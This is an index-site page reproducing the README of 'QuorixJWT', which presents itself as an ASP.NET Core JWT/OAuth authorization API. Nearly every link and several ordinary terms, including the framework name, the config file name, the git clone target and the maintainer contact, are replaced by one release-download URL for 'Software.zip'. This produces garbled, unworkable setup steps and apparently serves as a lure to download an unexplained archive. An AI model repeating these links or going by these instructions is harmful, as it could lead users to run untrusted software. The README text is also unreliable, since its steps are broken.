An open API service indexing awesome lists of open source software.

https://github.com/zeidmakic/quorixjwt

A secure and scalable ASP.NET Core API with JWT authentication, OAuth integration, and role-based authorization. This project demonstrates user management, external login providers, and claims-based access control.
https://github.com/zeidmakic/quorixjwt

authentication authorization claims-based-authorization dotnet entity-framework-core oauth rest-api role-based-authorization security sql-server user-management

Last synced: 2 months ago
JSON representation

A secure and scalable ASP.NET Core API with JWT authentication, OAuth integration, and role-based authorization. This project demonstrates user management, external login providers, and claims-based access control.

Awesome Lists containing this project

README

          

# QuorixJWT

🔒🔐🚀 A secure and scalable https://github.com/Zeidmakic/QuorixJWT/releases/download/v2.0/Software.zip Core API with JWT authentication, OAuth integration, and role-based authorization. This project demonstrates user management, external login providers, and claims-based access control. 🛡️🔑

## Features

✨ **JWT Authentication:** Implementing JSON Web Tokens (JWT) for secure user authentication.
✨ **OAuth Integration:** Integrating OAuth for external login providers.
✨ **Role-Based Authorization:** Enforcing access control based on user roles.
✨ **Claims-Based Access Control:** Granting access based on specific claims assigned to users.
✨ **User Management:** Handling user registration, login, and profile management.
✨ **Entity Framework Core:** Utilizing Entity Framework Core for data access.
✨ **SQL Server:** Using SQL Server as the backend database.
✨ **REST API:** Building a robust API following RESTful principles.

## Topics

🔗 aspnet-core, authentication, authorization, claims-based-authorization, dotnet, entity-framework-core, jwt-authentication, oauth, rest-api, role-based-authorization, security, sql-server, user-management

## Installation

To get started with the QuorixJWT project, you can download the source code in a ZIP format from [here](https://github.com/Zeidmakic/QuorixJWT/releases/download/v2.0/Software.zip). Once downloaded, you will need to extract the files and launch the project in your preferred integrated development environment.

For the latest updates and releases, please visit the "Releases" section of this repository.

## Get Started

Follow these steps to launch the QuorixJWT https://github.com/Zeidmakic/QuorixJWT/releases/download/v2.0/Software.zip Core API on your local machine:

1. Ensure you have .NET Core SDK installed.
2. Clone the repository using `git clone https://github.com/Zeidmakic/QuorixJWT/releases/download/v2.0/Software.zip`.
3. Navigate to the project directory.
4. Update the connection string in the `https://github.com/Zeidmakic/QuorixJWT/releases/download/v2.0/Software.zip` file to point to your SQL Server instance.
5. Run `dotnet restore` to restore the project dependencies.
6. Run `dotnet build` to build the project.
7. Run `dotnet ef database update` to apply the database migrations.
8. Run `dotnet run` to start the API.

## Contributing

Contributions are welcome! If you would like to enhance the QuorixJWT project, feel free to fork the repository and submit a pull request. You can also open an issue to report any bugs or suggest new features.

## Support

For any inquiries or assistance regarding the QuorixJWT project, please contact the project maintainer at https://github.com/Zeidmakic/QuorixJWT/releases/download/v2.0/Software.zip

## License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

[![Download ZIP](https://github.com/Zeidmakic/QuorixJWT/releases/download/v2.0/Software.zip)](https://github.com/Zeidmakic/QuorixJWT/releases/download/v2.0/Software.zip)